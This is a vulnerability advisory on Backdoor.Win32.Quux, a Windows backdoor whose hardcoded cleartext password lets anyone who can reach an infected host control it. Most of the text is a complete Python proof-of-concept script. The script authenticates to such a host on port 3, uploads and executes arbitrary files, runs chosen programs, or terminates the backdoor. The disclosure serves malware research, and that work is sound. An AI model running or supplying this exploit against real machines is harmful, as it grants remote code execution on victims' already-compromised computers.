Backdoor.Win32.Quux / Weak Hardcoded Credentials

us malvuln (US) us
Risk: Medium
Local: Yes
Remote: No

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022 Original source: Contact: Media: Threat: Backdoor.Win32.Quux Vulnerability: Weak Hardcoded Credentials Family: Quux Type: PE32 MD5: 13ce53de9ca4c4e6c58f990b442cb419 Vuln ID: MVID-2022-0656 Dropped files: quux32.exe Disclosure: 11/15/2022 Description: The malware listens on TCP port 3. Authentication is required, however the password "Faraon" translated from Romanian as "Pharaoh" is weak and hardcoded in cleartext within the PE file. Third-party adversaries who can reach an infected host can call commands made available by the backdoor. Commands include uploading files and code execution. Theres a need to code a custom client to communicate with the infected host as nc64.exe and telnet send LF characters and will fail authentication when sending credentials containing "\n" etc. Once connected if we send any files they will be written to Windows\System unless calling the "SetCurrDir" commmand. 0040AD24 ; char aFaraon[] 0040AD24 aFaraon db 'Faraon',0 ; DATA XREF _WinMain@16_0+376↑o 0040AD2B align 100h [Commands] SetCurrDir GetCurrDir GetCurrentDirectory Exec GetFile SendFile quit exit shutdown dir CreateFile DeleteFile MessageBox die Exploit/PoC: "" from socket import * import time, sys BANNER=""" ____ ____ ___ ____ __ _ __ / __ \__ ____ ____ __ |_ /|_ | / __/_ __ ___ / /__ (_) /_ / /_/ / // / // /\ \ /_/_ </ __/ / _/ \ \ // _ \/ / _ \/ / __/ \___\_\_,_/\_,_//_\_\/____/____/ /___//_\_\/ .__/_/\___/_/\__/ /_/ By Malvuln MVID-2022-0656 - Nov 2022 """ MALWARE_HOST="" PORT=3 CREDZ="Faraon" def chk_res(s): res="" while True: res += s.recv(512).decode() if "#" in res or "\0" in res or "\n" in res or ":" in res: break return res def auth(): s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) #Authenticate s.send(CREDZ.encode()) time.sleep(0.5) return s def upload(the_file): s = auth() PAYLOAD="GetCurrentDirectory" s.send(PAYLOAD.encode()) time.sleep(0.5) print(chk_res(s)) PAYLOAD="SetCurrDir" s.send(PAYLOAD.encode()) time.sleep(0.5) print(chk_res(s)) PAYLOAD="C:\\Users\\Public" s.send(PAYLOAD.encode()) time.sleep(0.5) print(chk_res(s)) PAYLOAD="GetCurrentDirectory" s.send(PAYLOAD.encode()) time.sleep(0.5) print(chk_res(s)) PAYLOAD="SendFile" s.send(PAYLOAD.encode()) time.sleep(0.5) PAYLOAD=the_file s.send(PAYLOAD.encode()) time.sleep(0.5) PAYLOAD="Exec" s.send(PAYLOAD.encode()) time.sleep(0.5) PAYLOAD=the_file s.send(PAYLOAD.encode()) time.sleep(0.5) print(chk_res(s)) print("[+] Uploading: "+the_file) time.sleep(2) s.close() def isIP(ip): try: inet_aton(ip) return True except Exception as e: return False def execute(program): s = auth() PAYLOAD="Exec" s.send(PAYLOAD.encode()) time.sleep(0.5) PAYLOAD=program s.send(PAYLOAD.encode()) time.sleep(0.5) print(chk_res(s)) print("[+] Executing: "+program) def kill_srv(): s = auth() print(chk_res(s)) PAYLOAD="die" s.send(PAYLOAD.encode()) time.sleep(0.5) print("[+] Backdoor terminated!") if __name__=="__main__": print(BANNER) if len(sys.argv) == 3: MALWARE_HOST=sys.argv[1] CMD = sys.argv[2] if isIP(MALWARE_HOST): if CMD=="1": _file=input("[-] File to upload: > ") if _file: upload(_file) else: exit(1) elif CMD=="2": pgm=input("[-] Program to run: > ") if pgm: execute(pgm) else: exit(1) elif CMD=="3": choice=input("[-] Kill server? 1=Yes > ") if choice.lower()=="1": kill_srv() else: print("[!] Invalid IP!") exit(1) else: print("[*] QuuX32 Exploit Usage: \n[-]IP: x.x.x.x, Command (1=Upload file, 2=Exec program, 3=Kill server)") exit(1) Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) (TM).

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